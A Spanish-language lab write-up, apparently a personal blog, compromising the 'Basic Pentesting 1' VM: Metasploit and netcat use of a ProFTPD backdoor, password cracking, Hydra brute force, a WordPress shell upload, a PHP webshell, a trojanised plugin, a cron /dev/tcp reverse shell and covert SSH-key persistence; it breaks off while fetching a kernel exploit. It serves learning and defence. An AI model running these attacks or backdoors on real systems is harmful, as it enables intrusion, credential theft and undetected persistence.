Ciberseguridad: Atacando la máquina Basic Pentesting 1

Introducción

Esta es la primera entrada de lo que espero se convierta en un compendio práctico sobre técnicas de pentesting y post-explotación en entornos reales. Aunque ya tengo experiencia previa en el campo de la ciberseguridad —con un enfoque actual en hardening de sistemas— considero necesario entender a fondo las técnicas ofensivas para poder construir defensas eficaces.

Bajo esta filosofía, he comenzado un proceso autodidacta para aprender pentesting ético desde un enfoque técnico y práctico. Creo firmemente que para securizar correctamente un sistema, primero hay que conocer cómo puede ser atacado. Por ello, esta entrada se centrará en analizar un entorno vulnerable, identificar vectores de entrada y realizar una escalada de privilegios hasta obtener acceso root, tal como lo haría un atacante real. Del mismo modo, se tratará de obtener persistencia en el equipo, tratando que no resulte demasiado obvio.

Entorno de pruebas

Se ha trabajado en un entorno de pruebas virtualizado. En mi caso, he usado VMWare, aunque cualquier otra alternativa de virtualización, como por ejemplo VirtualBox, sería válida para replicar el escenario.

Se han usado dos máquinas virtuales dentro de una red NAT interna, lo que permite que ambas puedan comunicarse directamente entre sí, simulando un entorno controlado de red local:

  • Máquina atacante: Kali Linux (192.168.40.137).
  • Máquina objetivo: Basic-pentesting-1 (192.168.40.138).

La configuración en modo NAT garantiza que ambas máquinas compartan la misma red virtual, facilitando la comunicación y el escaneo de servicios sin interferencias externas. Este tipo de laboratorio virtual es perfecto para practicar técnicas ofensivas con total seguridad.

Herramientas empleadas en el proceso de pentesting

  • ping
  • nmap
  • metasploit
  • NetCat (nc)
  • OpenSSL
  • John the Ripper
  • GoBuster
  • Nikto
  • Wpscan
  • Hydra

Reconocimiento y enumeración inicial

El primer paso en cualquier ejercicio de pentesting es confirmar la conectividad entre las máquinas. De forma preliminar, lancé un ping manual desde Kali Linux hacia la máquina objetivo para asegurarme de que ambas estaban en la misma red y podían comunicarse. Aunque conocía la IP de cada máquina (obtenida desde la interfaz de login en la víctima y con ifconfig en Kali), lo más adecuado en un entorno real sería realizar un proceso de enumeración de red.

En lugar de hacerlo manualmente, se puede automatizar con scripts que envían pings a rangos de IP, o utilizar herramientas más potentes como nmap para detectar hosts activos mediante escaneo ARP o ICMP.

Conociendo la IP de la máquina objetivo, he tratado de obtener más información. Con la herramienta nmap he hecho un escaneo para conocer los puertos que tiene esta máquina abiertos, así como los servicios que tiene en ejecución y sus versiones. He hecho un análisis completo, lo cuál incluye los puertos UDP, que muchas veces son olvidados, pero pueden revelar servicios críticos.

Captura de pentesting con Zenmap mostrando puertos abiertos 21, 22 y 80 en un escaneo Nmap detallado.

Imagen 1. Zenmap revela servicios ProFTPD, OpenSSH y Apache en la IP 192.168.40.138.

Los resultados arrojan que hay tres servicios con los puertos abiertos (FTP, SSH y HTTP). Vamos a ir uno a uno, buscando vulnerabilidades que nos permitan entrar en la máquina y escalar privilegios hasta root.

Pentesting del servicio FTP: ProFTPD

Tras detectar que el servicio FTP estaba expuesto en el puerto 21, el siguiente paso fue identificar su versión y verificar si existían vulnerabilidades conocidas. En este caso, el sistema utiliza ProFTPD versión 1.3.3c, una versión antigua que presenta varias fallas de seguridad.

Examinando bases de datos, como las de INCIBE o NIST, encontramos vulnerabilidades. A través de archive.org y su “wayback machine” podemos acceder a securityfocus que, en su día, además de la información, ofrecía los exploits para aprovecharse de la vulnerabilidad.

Primer intento: Exploit mod_copy (CVE-2015-3306)

Lo primero que probé fue la vulnerabilidad CVE‑2015‑3306, la cual está en la biblioteca de metasploit. Para aprovecharla, hace falta que el Daemon esté compilado con mod_copy y que este módulo este habilitado.

msf6 > use exploit/unix/ftp/proftpd_modcopy_exec 
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS 192.168.40.138
RHOSTS => 192.168.40.138
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RPORT 21
RPORT => 21
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run
[*] Started reverse TCP handler on 192.168.40.137:4444 
[*] 192.168.40.138:21 - 192.168.40.138:21 - Connected to FTP server
[*] 192.168.40.138:21 - 192.168.40.138:21 - Sending copy commands to FTP server
[-] 192.168.40.138:21 - Exploit aborted due to failure: unknown: 192.168.40.138:21 - Failure copying from /proc/self/cmdline
[*] Exploit completed, but no session was created.

El exploit falla debido a que esta compilación no trae mod_copy, o si lo trae, no está habilitado.

Segundo intento: Backdoor «ACIDBITCHEZ»

Vamos a probar ahora la siguiente vulnerabilidad. En 2010 se atacó esta versión de ProFTPD, suplantando el binario de su página web con otro distinto. Esta versión suplantada incluía la siguiente línea de código:

if (strcmp(target, "ACIDBITCHEZ") == 0) {
setuid(0);
setgid(0);
system("/bin/sh;/sbin/sh");
}

Esto permite obtener una shell como root simplemente autenticándose con la cadena especial. Usé el módulo proftpd_133c_backdoor de Metasploit para aprovechar esta puerta trasera:

msf6 exploit(unix/ftp/proftpd_modcopy_exec) > use exploit/unix/ftp/proftpd_133c_backdoor
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set RHOSTS 192.168.40.138
RHOSTS => 192.168.40.138
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set RPORT 21
RPORT => 21
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set PAYLOAD cmd/unix/reverse_
set PAYLOAD cmd/unix/reverse_bash_telnet_ssl
set PAYLOAD cmd/unix/reverse_perl
set PAYLOAD cmd/unix/reverse_perl_ssl
set PAYLOAD cmd/unix/reverse_ssl_double_telnet
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set PAYLOAD cmd/unix/reverse
set PAYLOAD cmd/unix/reverse
set PAYLOAD cmd/unix/reverse_bash_telnet_ssl
set PAYLOAD cmd/unix/reverse_perl
set PAYLOAD cmd/unix/reverse_perl_ssl
set PAYLOAD cmd/unix/reverse_ssl_double_telnet
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set LHOST 192.168.40.137
LHOST => 192.168.40.137
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > run
[*] Started reverse TCP double handler on 192.168.40.137:4444 
[*] 192.168.40.138:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo Fmfm9tBLdbvaYnqy;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "Fmfm9tBLdbvaYnqy\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.40.137:4444 -> 192.168.40.138:44946) at 2025-07-17 17:35:28 -0400
whoami
root

Como se observa, se ha conseguido escalar privilegios a root.

Alternativa: Explotando la backdoor con NetCat

Este mismo proceso se puede hacer con NetCat (nc), y es bastante más sencillo que con Metasploit:

┌──(osboxes㉿osboxes)-[~]
└─$ nc 192.168.40.138 21                                                     
220 ProFTPD 1.3.3c Server (vtcsec) [192.168.40.138]
HELP ACIDBITCHEZ
whoami 
root

Persistencia en sistemas comprometidos

Una vez obtenido el acceso a la máquina, una buena práctica es asegurar algún tipo de persistencia, es decir, dejar una puerta trasera que permita volver a entrar en el sistema sin necesidad de repetir toda la explotación inicial.

Aunque en este caso se trata de un escenario de pruebas, si el sistema se actualizara en el futuro es muy probable que las vulnerabilidades explotadas dejen de ser efectivas. Por eso, tomé la precaución de establecer un método de acceso persistente vía SSH con clave privada.

Alternativa 1: Acceso con clave privada

En lugar de crear un nuevo usuario —acción que en un entorno real podría levantar sospechas— opté por una alternativa más discreta: inyectar una clave pública en un usuario ya existente (marlinspike), habilitando el acceso remoto por SSH sin contraseña.

Generación de la pareja de claves e inyección

Mi idea es acceder a la máquina con una clave privada. Por eso, he creado una pareja de claves RSA en mi máquina Kali:

ssh-keygen -t rsa -b 4096 -f ~/.ssh/basicp1_rsa -C "basic-pentesting-lab"

He inyectado la clave pública en el directorio “/home/marlinspike/.ssh/authorized_keys”:

echo "ssh-rsa AAAAB3NzaC1yc … /RbB5/7vydaTQ2Q== basic-pentesting-lab" >> /home/marlinspike/.ssh/authorized_keys

He dado los siguientes permisos:

chmod 700 /home/marlinspike/.ssh
chmod 600 /home/marlinspike/.ssh/authorized_keys
chown -R marlinspike:marlinspike /home/marlinspike/.ssh

Configuración del servicio SSH

He modificado el fichero de configuración /etc/ssh/sshd_config para asegurar que permita la autenticación por SSH sin contraseña y por clave pública.

grep -E 'PermitRootLogin|PasswordAuthentication|PubkeyAuthentication|UsePAM' /etc/ssh/sshd_config
PermitRootLogin prohibit-password
PubkeyAuthentication yes
#PasswordAuthentication yes
UsePAM yes

Esto indica que el login por clave pública está habilitado, pero el acceso directo como root está restringido por contraseña, lo cual no afecta nuestro método. Da igual, ya que el usuario está en la lista de sudoers.

Verificación del acceso persistente

Desde Kali, validé que podía acceder a la máquina comprometida usando mi clave privada:

┌──(osboxes㉿osboxes)-[~/.ssh]
└─$ ssh -i ~/.ssh/basicp1_rsa marlinspike@192.168.40.138
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.10.0-28-generic x86_64)

Con esto, ya tengo un acceso estable y discreto que me permitirá entrar en cualquier momento sin necesidad de repetir el vector inicial.

Este método de persistencia es muy común en escenarios reales y, aunque puede dejar huella (por ejemplo, en logs o en la fecha de modificación del archivo authorized_keys), es mucho menos visible que otros mecanismos como creación de nuevos usuarios o servicios maliciosos.

Alternativa 2: Descifrando la contraseña del usuario

Además de garantizar un acceso persistente por SSH, otra estrategia útil es obtener las credenciales reales del sistema. Esto permite acceder de forma aún más discreta, sin dejar rastro evidente (como archivos authorized_keys o modificaciones en sshd_config).

Como contaba con privilegios de root, también tuve acceso de lectura a los ficheros /etc/passwd y /etc/shadow.

Estos archivos contienen información crítica sobre los usuarios y sus contraseñas encriptadas. Si estas contraseñas son débiles o comunes, pueden romperse fácilmente con herramientas como John the Ripper o Hashcat mediante ataques de diccionario o fuerza bruta. ¡Vamos a intentarlo!

Análisis del hash extraido

En el fichero passwd encontramos la siguiente línea:

marlinspike:$6$wQb5nV3T$xB2WO/jOkbn4t1RUILrckw69LR/0EMtUbFFCYpM3MUHVmtyYW9.ov/aszTpWhLaC2x6Fvy5tpUUxQbUhCKbl4/:17484:0:99999:7:::

El formato nos interesa conocer es el siguiente: $id$salt$hashedpassword. Sabemos que hay un usuario llamado marlinspike, por el ID 6 descubrimos que la contraseña está cifrada a través de SHA512-crypt, y que tiene una salt (wQb5nV3T), esto quiere decir que se le añade un valor aleatorio único a la palabra (en este caso contraseña) a cifrar.

La sal aumenta la entropía o aleatoriedad, haciéndolo más robusto ante tablas arcoíris o ataques de fuerza bruta por búsqueda de hash. Finalmente, después de la sal aparece el resumen de la contraseña cifrada con esa sal. Si la contraseña es sencilla y vulnerable a ataques de diccionario, la sal no va a hacer milagros.

Cabe decir que SHA512-crypt está diseñado para ser computacionalmente costoso, de forma que dificulte ataques de fuerza bruta o diccionario. Aún así, si la contraseña es débil, puede romperse con herramientas como John the Ripper.

Ataque con John the Ripper

He copiado en mi máquina Kali los dos ficheros mencionados, passwd y shadow. Para intentar descifrar la contraseña, combiné ambos archivos con unshadow, y ejecuté el ataque (limpiando primero cualquier salida de alguna ejecución anterior):

┌──(osboxes㉿osboxes)-[~/Desktop/marlinspike]
└─$ unshadow passwd shadow > p.txt
┌──(osboxes㉿osboxes)-[~/Desktop/marlinspike]
└─$ rm ~/.john/john.pot                                                      
┌──(osboxes㉿osboxes)-[~/Desktop/marlinspike]
└─$ john p.txt                                                      
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 13 candidates buffered for the current salt, minimum 32 needed for performance.
marlinspike      (marlinspike)     
1g 0:00:00:00 DONE 1/3 (2025-07-24 13:35) 100.0g/s 1300p/s 1300c/s 1300C/s marlinspike..MarlinspikeMarlinspike
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

El proceso fue casi inmediato. La contraseña del usuario se correspondía con su nombre, es decir “marlinspike”. Era un escenario muy sencillo y se ha logrado encontrar la contraseña con John the Ripper. Esto demuestra la importancia de utilizar contraseñas seguras, ya que ahora tenemos acceso a la máquina a través de este usuario, y además está en la lista de sudoers.

Con esto hemos logrado ya el objetivo principal, que es escalar privilegios en una máquina. No obstante, vamos a seguir investigando qué otras cosas podemos hacer.

Alternativa 3: Persistencia con cronjob y reverse shell en Bash

Además de dejar una clave SSH o descifrar la contraseña del usuario, existe una técnica aún más discreta para mantener el acceso: crear una reverse shell persistente mediante un cronjob que se ejecuta de forma periódica.

Esta técnica aprovecha una funcionalidad poco conocida de Bash: la posibilidad de abrir sockets directamente desde el intérprete de comandos, gracias a que en Unix todo es un archivo, incluidos los sockets TCP.

Reverse shell en Bash usando /dev/tcp

Bash permite enviar y recibir datos a través de sockets TCP utilizando rutas especiales como /dev/tcp/IP/PUERTO. Esto hace posible lanzar una reverse shell sin herramientas externas:

bash -i >& /dev/tcp/192.168.40.137/4444 0>&1

Esto conecta la shell interactiva directamente al atacante, redirigiendo la entrada/salida estándar al socket TCP. Es una técnica ligera y funcional incluso en entornos muy restringidos.

Automatización con cron

Para mantener el acceso activo incluso tras un reinicio del sistema o pérdida de conexión, podemos automatizar esta reverse shell con un cronjob:

echo "* * * * * bash -i >& /dev/tcp/192.168.40.137/4444 0>&1" >> /tmp/persist
crontab /tmp/persist

Esto genera una tarea programada que se ejecuta cada minuto, estableciendo una nueva reverse shell con el atacante. Desde la perspectiva del sistema, es simplemente un proceso de Bash ejecutando un script, lo cual puede pasar desapercibido si no se monitoriza la salida de crontab -l.

Análisis del servidor web Apache

Durante la fase de enumeración de servicios, detecté que el servidor Apache estaba activo en el puerto 80. Esto abría la posibilidad de encontrar un nuevo vector de entrada, especialmente si el contenido expuesto o la configuración del servidor presentaban vulnerabilidades.

Enumeración web

Al acceder inicialmente vía navegador a http://192.168.40.138, aparece la clásica página de «It Works!» de Apache. Esto indica que el servidor está activo, pero no revela información útil… al menos a simple vista.

Análisis con Gobuster

Para descubrir rutas ocultas, utilicé Gobuster, una herramienta de enumeración de directorios y archivos basada en diccionario:

┌──(osboxes㉿osboxes)-[~/Desktop/marlinspike]
└─$ gobuster dir -u http://192.168.40.138 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.40.138
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/secret               (Status: 301) [Size: 317] [--> http://192.168.40.138/secret/]                                                                       
/server-status        (Status: 403) [Size: 279]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

La herramienta gobuster enumera los archivos ocultos junto con los directorios remotos. Gobuster es un escáner agresivo, es ruidoso y se hace notar. En este escenario nos vale, y nos ha permitido descubrir el directorio “secret”. Esto es interesante, ya que redirige a una página no listada en la raíz.

Análisis con Nikto

Otra herramienta es Nikto, un escáner de servidor web de código abierto (GPL) y de uso gratuito que realiza un escaneo de vulnerabilidades en servidores web. Busca múltiples elementos, incluyendo archivos y programas peligrosos, así como versiones desactualizadas del software del servidor web. También comprueba si hay errores de configuración del servidor y las posibles vulnerabilidades que puedan haber introducido.

┌──(osboxes㉿osboxes)-[~/Desktop/marlinspike]
└─$ nikto -h http://192.168.40.138                                           
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.40.138
+ Target Hostname:    192.168.40.138
+ Target Port:        80
+ Start Time:         2025-07-25 23:09:37 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. 
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: b1, size: 55e1c7758dcdb, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /secret/: Drupal Link header found with value: <http://vtcsec/secret/index.php/wp-json/>; rel="https://api.w.org/". See: https://www.drupal.org/
+ /secret/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2025-07-25 23:09:54 (GMT2) (17 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

En resumen, esta salida nos está diciendo que el servidor usa Apache/2.4.18 (Ubuntu), una versión antigua con riesgos de seguridad conocidos. Falta de cabeceras de protección como X-Frame-Options y X-Content-Type-Options, lo que facilita ataques como clickjacking. El servidor tiene el método HTTP OPTIONS habilitado, exponiendo información innecesaria. Además, el archivo /icons/README es accesible, revelando detalles de la configuración.

Además, esta herramienta también encontró el directorio oculto (/secret/) con una cabecera HTTP vinculada a sistemas como WordPress o Drupal, sugiriendo una posible instalación de WordPress, la cual investigaremos en el siguiente apartado. Hay que decir también que Nikto nos está dando pistas, indicando que miremos algunas de las CVE que ha encontrado durante su análisis.

Analizando WordPress

Ya hemos visto que en apache está accesible una ruta que es la IP de la máquina y el directorio secret. Alcanzando esa ruta, se llega a una página creada con WordPress:

Página de inicio de WordPress accesible en la URL 192.168.40.138/secret

Imagen 2. Interfaz por defecto de WordPress identificada como punto de entrada potencial.

Detecté que las URLs internas del sitio estaban asociadas al dominio vtcsec. Aunque seguía siendo accesible mediante la IP, para mayor comodidad añadí una entrada en el archivo /etc/hosts.

echo "192.168.40.138 vtcsec" | sudo tee -a /etc/hosts

Esto permite trabajar con nombres de dominio en lugar de IPs.

Enumeración en WordPress

Si entramos en la entrada del blog, podemos ver qué usuario la ha publicado, admin.

Post de blog de WordPress que revela el usuario “admin” como autor.

Imagen 3. El autor del post de bienvenida permite identificar credenciales objetivo.

A continuación, utilizo wpscan para identificar información clave del CMS:

┌──(osboxes㉿osboxes)-[~/Desktop/marlinspike]
└─$ wpscan --url http://192.168.40.138/secret --enumerate u                  
[+] URL: http://192.168.40.138/secret/ [192.168.40.138]
Interesting Finding(s):
[+] Headers
 | Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.40.138/secret/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://192.168.40.138/secret/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.40.138/secret/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.9 identified (Insecure, released on 2017-11-16).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.40.138/secret/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.9'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.40.138/secret/, Match: 'WordPress 4.9'
[i] The main theme could not be detected.
[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] admin
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

Nos ha arrojado información que ya teníamos sobre Apache y sobre el usuario de WordPress, confirmando que es “admin”. Si estuviéramos registrados en su web, recebiriamos un token para su API, a través del cual podríamos tener información adicional sobre vulnerabilidades CVE presentes en su correspondiente versión.

Acceso con credenciales por defecto

Conociendo wordpress, es frecuente que exista una página llamada wp-admin. Y efectivamente, si entramos en vtcsec/secret/wp-admin encontramos la pantalla de login. He probado con las credenciales por defecto (usuario “admin” y contraseña “admin” y me ha dejado acceder al panel. Esto no debería ocurrir, pero ya vemos que no estaba securizado. Esto representa una falla crítica de seguridad al no haber sido cambiadas las credenciales predeterminadas.

Formulario de inicio de sesión de WordPress localizado en /wp-login.php

Imagen 4. Pantalla de login en WordPress para ingresar con el usuario admin.

Acceso por fuerza bruta

Las cosas no siempre son así de fáciles, es por ello que existen otras formas de conseguir acceso, o de buscar la contraseña (o al menos, intentarlo). Una opción es con Hydra. Lancé un ataque de fuerza bruta con el diccionario “rockyou.txt”.

┌──(osboxes㉿osboxes)-[~/Desktop/marlinspike]
└─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.40.138 http-form-post '/secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'                                                               
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-30 22:03:44
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://192.168.40.138:80/secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location
[STATUS] 4154.00 tries/min, 4154 tries in 00:01h, 14340244 to do in 57:33h, 16 active
[STATUS] 4129.33 tries/min, 12388 tries in 00:03h, 14332010 to do in 57:51h, 16 active
[80][http-post-form] host: 192.168.40.138   login: admin   password: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-30 22:08:32

Explicación rápida del commando:

  • -l admin: Usuario objetivo (identificado previamente con WPScan).
  • -P /usr/share/wordlists/rockyou.txt: Lista de contraseñas común.
  • http-form-post: Tipo de ataque dirigido a formularios HTML vía POST.
  • Ruta del formulario: /secret/wp-login.php.
  • Campos del formulario:
    • log=^USER^: Campo para el usuario.
    • pwd=^PASS^: Campo para la contraseña.
    • wp-submit=Log In y testcookie=1: Parámetros fijos requeridos por WordPress.
  • S=Location: Criterio de éxito → si hay una cabecera Location: (redirección 302), el login fue correcto.

Nota: Este comportamiento lo validé previamente usando curl, observando que los logins exitosos redirigen a /wp-admin/, mientras que los fallidos devuelven un 200 OK junto a un mensaje de error.

Hydra detectó como válidas las credenciales admin:admin, confirmando que la configuración por defecto del CMS no había sido modificada.

Pentesting en WordPress: explotación y persistencia

Continuamos con el pentesting. Una vez identificada y enumerada correctamente la instalación de WordPress, pasamos a su explotación. En este caso, se utilizaron varias técnicas para obtener una shell remota y posteriormente escalar privilegios hasta root.

Explotación del panel de administración

WordPress permite la autenticación al panel de administración con las credenciales admin:admin. Aprovechando esto, utilicé el módulo wp_admin_shell_upload de Metasploit para subir una reverse shell y obtener acceso al sistema.

msf6 exploit(unix/webapp/wp_crop_rce) > use exploit/unix/webapp/wp_admin_shell_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS 192.168.40.138
RHOSTS => 192.168.40.138
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set TARGETURI /secret
TARGETURI => /secret
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME admin
USERNAME => admin
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD admin
PASSWORD => admin
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set LHOST 192.168.40.137
LHOST => 192.168.40.137
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit
[*] Started reverse TCP handler on 192.168.40.137:4444 
[*] Authenticating with WordPress using admin:admin...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /secret/wp-content/plugins/WDRxVQMxpC/DnCoYqYwFk.php...
[*] Sending stage (40004 bytes) to 192.168.40.138
[+] Deleted DnCoYqYwFk.php
[+] Deleted WDRxVQMxpC.php
[+] Deleted ../WDRxVQMxpC
[*] Meterpreter session 3 opened (192.168.40.137:4444 -> 192.168.40.138:45728) at 2025-07-30 23:29:28 +0200

meterpreter > [*] Meterpreter session 1 opened (192.168.40.137:4444 -> 192.168.40.138:45696) at 2025-07-30 23:31:06 +0200

Luego verifiqué el usuario:

meterpreter > getuid
Server username: www-data
meterpreter > shell
Process 10609 created.
Channel 0 created.
sh: 0: getcwd() failed: No such file or directory
sh: 0: getcwd() failed: No such file or directory

whoami
www-data

Se obtuvo una Shell de Linux con el usuario web de privilegios limitados www-data.

Análisis del fichero de configuración de WordPress

Decido leer el fichero wp-config.php, para ver si encontramos algún dato adicional que sea crítico.

cat /var/www/html/secret/wp-config.php
<?php

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wp_myblog');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'arootmysqlpass');

Hemos obtenido las credenciales de una base de datos. Ahora sabemos que hay una BBDD en MySQL y que se accede con el usuario root y la contraseña arootmysqlpass.

Intento de persistencia por SQL Injection manual

Ahora que las credenciales ya han sido reveladas, se ha accedido a esta BBDD. Traté de introducir de forma manual una query que me permitiera abrir una puerta trasera a una terminal con permisos de root, pero no lo conseguí. Se trataba de una webshell en forma de post dentro de la base de datos, usando PHP embebido en una consulta SQL.

Por si acaso, siempre es recomendable tener una copia de seguridad de la base de datos (lo guardamos en la carpeta tmp, para no levantar demasiadas sospechas):

mysqldump -u root -p arootmysqlpass > /tmp/wordpress_backup.sql

Después, traté lo siguiente:

mysql -u root -p'arootmysqlpass'
SHOW DATABASES;
USE wp_myblog;
SELECT * FROM wp_users;

En esa table insertaría la siguiente query:

mysql> INSERT INTO wp_posts (post_author, post_date, post_date_gmt, post_content, post_title, post_excerpt, post_status, comment_status, ping_status, post_password, post_name, to_ping,pinged, post_modified, post_modified_gmt, post_content_filtered, post_parent, guid, menu_order, post_type, post_mime_type, comment_count) VALUES (1, NOW(), NOW(), '<?php system($_GET["cmd"]); ?>', 'Hacked', '', 'publish', 'closed', 'closed', '', 'hacked-shell', '', '', NOW(), NOW(), '', 0, '', 0, 'post', '', 0); 
Query OK, 1 row affected (0.00 sec) 

mysql> SELECT ID FROM wp_posts WHERE post_title = 'Hacked';
+----+ 
| ID | 
+----+
| 15 | 
+----+ 
1 row in set (0.00 sec)

La idea es que, introduciendo la llamada a PHP ‘<?php system($_GET[«cmd»]); ?>’ dentro de la query, cuando accediera a la web http://192.168.40.138/secret/wp-admin/%3C?php_system($_GET%5B%22cmd%22%5D=activate se activara una shell. Y, al otro lado, yo tendría abierto en una terminal de Kali el NetCat esperando una conexión a esa Shell remota. Sin embargo, el intento no funcionó correctamente, posiblemente por el filtrado interno de WordPress o por ubicación incorrecta del código en la plantilla.

Backdoor alternativa: Plug-in modificado

Para asegurar persistencia, decidí dejar la base de datos como estaba e intentar otra forma, esta vez a través de un Plug-In de WordPress. Decidí instalar a través de wp-admin un Plug-In modificado por Krysp4, que se camufla como una herramienta de envío de emails, pero que en realidad lanza una reverse Shell. El link a este plug-in está en la desripción del video de YouTube enlazado anteriormente.

Plugin WP Mail SMTP manipulado para establecer conexión inversa desde WordPress

Imagen 5. Plugin personalizado permite conexión remota usando IP y puerto definidos.

En una terminal de Kali tenemos que tener el siguiente comando en ejecución, y al dar al botón de conectar, se abrirá una Shell inversa:

┌──(osboxes㉿osboxes)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.40.137] from (UNKNOWN) [192.168.40.138] 60506
whoami
www-data

Escalada de privilegios a root

Se ha conseguido acceder tanto por a través de metasploit como con este plug-in a una Shell como www-data, un usuario con muy pocos privilegios. Pero hay un exploit que puede hacer que escalemos a root, gracias a la CVE-2017-16995, una vulnerabilidad del subsistema BPF que afecta a la versión del kernel de la máquina objetivo. Vamos a aprovechar esta vulnerabilidad para escalar privilegios:

www-data@vtcsec:$ cd /tmp
cd /tmp
chdir: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
www-data@vtcsec:/tmp$ 

www-data@vtcsec:/tmp$ pwd
pwd
/tmp
www-data@vtcsec:/tmp$ wget http://192.168.40.137:8000/exploit
wget http://192.168.40.137:8000/exploit
--2025-07-31 18:41:38--  http://192.168.40.137:8000/exploit
Connecting to 192.168.40.137:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 803272 (784K) [application/octet-stream]
Saving to: 'exploit'

exploit             100%[===================>] 784.45K  --.-KB/s    in 0.002s  

2025-07-31 18:41:38 (314 MB/s) - 'exploit' saved [803272/803272]

